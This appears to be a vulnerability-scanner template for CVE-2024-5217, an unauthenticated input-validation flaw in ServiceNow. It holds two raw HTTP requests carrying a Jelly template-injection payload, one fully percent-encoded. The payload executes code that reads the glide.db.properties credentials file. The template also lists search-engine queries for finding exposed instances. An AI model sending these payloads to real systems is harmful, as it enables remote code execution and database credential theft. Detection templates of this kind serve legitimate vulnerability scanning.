ServiceNow - Incomplete Input Validation

id: CVE-2024-5217

info:
  name: ServiceNow - Incomplete Input Validation
  author: DhiyaneshDk,ritikchaddha
  severity: critical
  description: |
    ServiceNow has addressed an input validation vulnerability that was identified in the Washington DC, Vancouver, and earlier Now Platform releases. This vulnerability could enable an unauthenticated user to remotely execute code within the context of the Now Platform. The vulnerability is addressed in the listed patches and hot fixes below, which were released during the June 2024 patching cycle. If you have not done so already, we recommend applying security patches relevant to your instance as soon as possible.
  impact: |
    Attackers can exploit this vulnerability to compromise system security.
  remediation: |
    Apply security patches to address CVE-2024-5217.
  reference:
    - https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1644293
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1648313
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5217
  classification:
    epss-score: 0.99628
    epss-percentile: 0.99948
  metadata:
    verified: true
    max-request: 2
    vendor: servicenow
    product: servicenow
    shodan-query:
      - http.favicon.hash:"1701804003"
      - http.title:"servicenow"
    fofa-query:
      - icon_hash=1701804003
      - title="servicenow"
    google-query: intitle:"servicenow"
  tags: cve,cve2024,servicenow,rce,kev,vkev,vuln

http:
  - raw:
      - |
        GET /login.do?jvar_page_title=%3Cstyle%3E%3Cj%3Ajelly%2Bxmlns%3Aj%3D%22jelly%3Acore%22%2Bxmlns%3Ag%3D'glide'%3E%3Cg%3Aevaluate%3Ez%3Dnew%2BPackages.java.io.File(%22%22).getAbsolutePath()%3Bz%3Dz.substring(0%2Cz.lastIndexOf(%22%2F%22))%3Bu%3Dnew%2BSecurelyAccess(z.concat(%22%2Fco..nf%2Fglide.db.properties%22)).getBufferedReader()%3Bs%3D%22%22%3Bwhile((q%3Du.readLine())!%3D%3Dnull)s%3Ds.concat(q%2C%22%5Cn%22)%3Bgs.addErrorMessage(s)%3B%3C%2Fg%3Aevaluate%3E%3C%2Fj%3Ajelly%3E%3C%2Fstyle%3E HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /login.do?jvar_page_title=%3c%73%74%79%6c%65%3e%3c%6a%3a%6a%65%6c%6c%79%20%78%6d%6c%6e%73%3a%6a%3d%22%6a%65%6c%6c%79%3a%63%6f%72%65%22%20%78%6d%6c%6e%73%3a%67%3d%27%67%6c%69%64%65%27%3e%3c%67%3a%65%76%61%6c%75%61%74%65%3e%7a%3d%6e%65%77%20%50%61%63%6b%61%67%65%73%2e%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%22%22%29%2e%67%65%74%41%62%73%6f%6c%75%74%65%50%61%74%68%28%29%3b%7a%3d%7a%2e%73%75%62%73%74%72%69%6e%67%28%30%2c%7a%2e%6c%61%73%74%49%6e%64%65%78%4f%66%28%22%2f%22%29%29%3b%75%3d%6e%65%77%20%53%65%63%75%72%65%6c%79%41%63%63%65%73%73%28%7a%2e%63%6f%6e%63%61%74%28%22%2f%63%6f%2e%2e%6e%66%2f%67%6c%69%64%65%2e%64%62%2e%70%72%6f%70%65%72%74%69%65%73%22%29%29%2e%67%65%74%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%29%3b%73%3d%22%22%3b%77%68%69%6c%65%28%28%71%3d%75%2e%72%65%61%64%4c%69%6e%65%28%29%29%21%3d%3d%6e%75%6c%6c%29%73%3d%73%2e%63%6f%6e%63%61%74%28%71%2c%22%5c%6e%22%29%3b%67%73%2e%61%64%64%45%72%72%6f%72%4d%65%73%73%61%67%65%28%73%29%3b%3c%2f%67%3a%65%76%61%6c%75%61%74%65%3e%3c%2f%6a%3a%6a%65%6c%6c%79%3e%3c%2f%73%74%79%6c%65%3e HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "glide.db.user"

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200